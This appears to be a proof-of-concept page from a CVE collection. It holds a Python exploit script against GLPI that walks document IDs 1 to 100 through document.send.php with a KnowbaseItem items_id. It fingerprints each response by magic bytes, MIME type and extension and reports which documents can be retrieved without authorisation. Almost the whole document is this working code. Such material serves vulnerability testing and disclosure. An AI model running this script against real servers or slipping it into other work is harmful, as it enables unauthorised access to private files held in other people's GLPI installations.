4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
import requests
import re
import sys
import argparse

GREEN = "\033[92m"
RED = "\033[91m"
RESET = "\033[0m"

DEBUG = False

ALLOWED_EXTS = {
    ".ai", ".aiff", ".bmp", ".bz2", ".h", ".c", ".csv", ".deb", ".djvu", ".dvi",
    ".xls", ".xlsx", ".swf", ".gif", ".xcf", ".gz", ".html", ".jpg", ".jpeg",
    ".tex", ".mid", ".mng", ".mp3", ".mpg", ".odb", ".ods", ".ots", ".odc",
    ".odg", ".otg", ".oth", ".odi", ".odp", ".otp", ".odf", ".odt", ".odm",
    ".ott", ".ogg", ".sxw", ".sxc", ".sxi", ".pas", ".pdf", ".psd", ".png",
    ".eps", ".ps", ".ppt", ".pptx", ".mov", ".qt", ".ra", ".ram", ".rm",
    ".rpm", ".rtf", ".svg", ".sdd", ".sdw", ".sit", ".txt", ".tgz", ".tif",
    ".tiff", ".wav", ".asf", ".avi", ".wmv", ".doc", ".docx", ".xml", ".zip"
}

ALLOWED_MIME_SUBSTRINGS = {
    "image/", "application/pdf", "application/xml", "text/xml", "text/csv",
    "application/zip", "application/x-rar-compressed", "application/x-gzip",
    "application/octet-stream", "audio/", "video/", "application/postscript",
    "image/svg+xml", "application/x-shockwave-flash", "application/x-tar",
    "application/x-bzip2", "application/x-7z-compressed",
    "application/vnd.ms-excel", "application/msword"
}

def extract_filename_ext(content_disposition):
    if not content_disposition:
        return ""
    m = re.search(r'filename\*?=(?:UTF-8\'\')?["\']?([^"\';]+)', content_disposition, flags=re.IGNORECASE)
    if not m:
        return ""
    fname = m.group(1)
    fname = fname.split('/')[-1].split('\\')[-1]
    if '.' in fname:
        return '.' + fname.lower().split('.')[-1]
    return ""

def magic_matches(body):
    if not body:
        return False
    if body.startswith(b'\x89PNG'):
        return ".png"
    if body.startswith(b'\xff\xd8\xff'):
        return ".jpg"
    if body.startswith(b'%PDF'):
        return ".pdf"
    if body.startswith(b'PK\x03\x04'):
        return ".zip"
    if body.startswith(b'Rar!\x1A\x07') or body.startswith(b'Rar!\x1A\x07\x00'):
        return ".rar"
    if body.startswith(b'GIF8'):
        return ".gif"
    if body.startswith(b'II*\x00') or body.startswith(b'MM\x00*'):
        return ".tiff"
    if body.startswith(b'8BPS'):
        return ".psd"
    try:
        start = body.decode(errors="ignore").lstrip()
        if start.startswith("<?xml") or start.startswith("<svg") or start.startswith("%!PS"):
            return ".xml"
    except Exception:
        pass
    return False

def looks_like_target_file(resp):
    ct = (resp.headers.get("Content-Type") or "").lower()
    cd = (resp.headers.get("Content-Disposition") or "").lower()
    ext_from_cd = extract_filename_ext(cd)
    body = resp.content[:512]

    magic_ext = magic_matches(body)
    if magic_ext:
        return True, magic_ext

    if ext_from_cd and ext_from_cd in ALLOWED_EXTS:
        return True, ext_from_cd

    if ct:
        if any(sub in ct for sub in ALLOWED_MIME_SUBSTRINGS):
            return True, ct.split(';', 1)[0]
        if "text/html" in ct:
            if DEBUG:
                return False, "text/html"
            return False, False

    return False, False

def docs_control(host, items_id):
    found = []
    for docid in range(1, 101):
        url = f"http://{host}/front/document.send.php?docid={docid}&itemtype=KnowbaseItem&items_id={items_id}"
        try:
            resp = requests.get(url, timeout=6, allow_redirects=True, stream=True)
            resp_content = resp.raw.read(1024, decode_content=True)
            resp._content = resp_content + resp.raw.read() if resp_content is not None else resp.content
        except Exception as e:
            if DEBUG:
                print(f"DEBUG: {url} request error: {e}", file=sys.stderr)
            continue
        ok, info = looks_like_target_file(resp)
        if resp.status_code == 200 and ok:
            ctype = resp.headers.get("Content-Type", "")
            found.append((url, resp.status_code, ctype, info))
        else:
            if DEBUG:
                reason = info if info else "no match"
                print(f"DEBUG: skipped {url} -> {resp.status_code} -> {resp.headers.get('Content-Type','')} -> {reason}", file=sys.stderr)
    if found:
        for url, status, ctype, info in found:
            print(f"{GREEN}{url} -> {ctype} {info} - vulnerability found{RESET}")
    else:
        print(f"{RED}No vulnerability found{RESET}")

def main():
    global DEBUG
    epilog_text = (
        "Examples:\n"
        "  python exploit.py -H 10.0.0.1 -i 123\n"
        "  python exploit.py --host example.com:80 --items_id 456\n"
        "If you don't supply arguments, the script will ask for them interactively."
    )

    parser = argparse.ArgumentParser(
        description="GLPI - checks for accessible documents",
        epilog=epilog_text,
        formatter_class=argparse.RawTextHelpFormatter
    )
    parser.add_argument("-H", "--host", help="Address (e.g. ip or fqdn[:port]) — GLPI Adress")
    parser.add_argument("-i", "--items_id", help="items_id value — File id of a shared screenshot from a published FAQ, etc.")
    parser.add_argument("-d", "--debug", action="store_true", help="Enable debug output")

    args = parser.parse_args()

    DEBUG = bool(args.debug)

    host = args.host
    items_id = args.items_id

    if not host:
        try:
            host = input("Address (e.g. ip or fqdn[:port]): ").strip()
        except KeyboardInterrupt:
            print("\nInterrupted.")
            sys.exit(1)
    if not items_id:
        try:
            items_id = input("items_id value: ").strip()
        except KeyboardInterrupt:
            print("\nInterrupted.")
            sys.exit(1)

    if not host or not items_id:
        print("Both host and items_id are required. Use -h for help.")
        sys.exit(1)

    docs_control(host, items_id)

if __name__ == "__main__":
    main()